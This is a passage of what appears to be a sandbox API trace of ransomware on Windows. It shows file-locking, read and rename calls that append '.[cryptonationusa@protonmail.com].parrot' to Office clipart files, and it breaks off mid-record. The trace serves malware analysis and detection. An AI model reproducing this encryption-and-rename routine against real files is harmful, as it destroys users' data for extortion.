office\\clipart\\pub60cor\\ph02748g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.673] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7fa8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.673] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.682] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.683] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7e90, lpOverlapped=0x0) returned 1 [0150.684] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.685] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7fa8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.685] CloseHandle (hObject=0x288) returned 1 [0150.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.694] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x88ad, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.694] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.694] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.696] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8795, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8795, lpOverlapped=0x0) returned 1 [0150.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.699] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x88ad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.699] CloseHandle (hObject=0x288) returned 1 [0150.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.704] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8230, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.704] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.704] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.705] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.705] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8118, lpOverlapped=0x0) returned 1 [0150.709] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.709] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8230, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.709] CloseHandle (hObject=0x288) returned 1 [0150.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.713] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x65df, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.714] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.714] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.715] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.715] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x64c7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x64c7, lpOverlapped=0x0) returned 1 [0150.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.718] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x65df, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.718] CloseHandle (hObject=0x288) returned 1 [0150.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.723] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17058, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.723] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.723] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.725] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16f40, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16f40, lpOverlapped=0x0) returned 1 [0150.728] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.731] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17058, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.731] CloseHandle (hObject=0x288) returned 1 [0150.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0150.735] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc49a, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.735] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.735] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.737] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.737] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc382, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc382, lpOverlapped=0x0) returned 1 [0150.742] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.743] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc49a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.743] CloseHandle (hObject=0x288) returned 1 [0150.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.747] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d20, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.747] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.747] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.749] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.749] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c08, lpOverlapped=0x0) returned 1 [0150.753] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.755] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.755] CloseHandle (hObject=0x288) returned 1 [0150.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0150.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.762] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a7d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.762] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.763] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.765] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.765] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a6b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a6b8, lpOverlapped=0x0) returned 1 [0150.772] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.774] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a7d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.775] CloseHandle (hObject=0x288) returned 1 [0150.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0150.779] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a8f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.780] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.780] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.781] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a7d8, lpOverlapped=0x0) returned 1 [0150.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.792] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a8f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.792] CloseHandle (hObject=0x288) returned 1 [0150.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0150.797] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a8f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.797] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.797] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.798] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.799] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a7d8, lpOverlapped=0x0) returned 1 [0150.855] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.858] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a8f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.858] CloseHandle (hObject=0x288) returned 1 [0150.858] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0150.886] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30520, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.886] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.886] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.887] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.888] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30408, lpOverlapped=0x0) returned 1 [0150.897] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.906] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30520, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.906] CloseHandle (hObject=0x288) returned 1 [0150.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0150.914] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30520, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.914] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.914] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.918] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.918] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30408, lpOverlapped=0x0) returned 1 [0150.927] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.936] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30520, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.936] CloseHandle (hObject=0x288) returned 1 [0150.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft 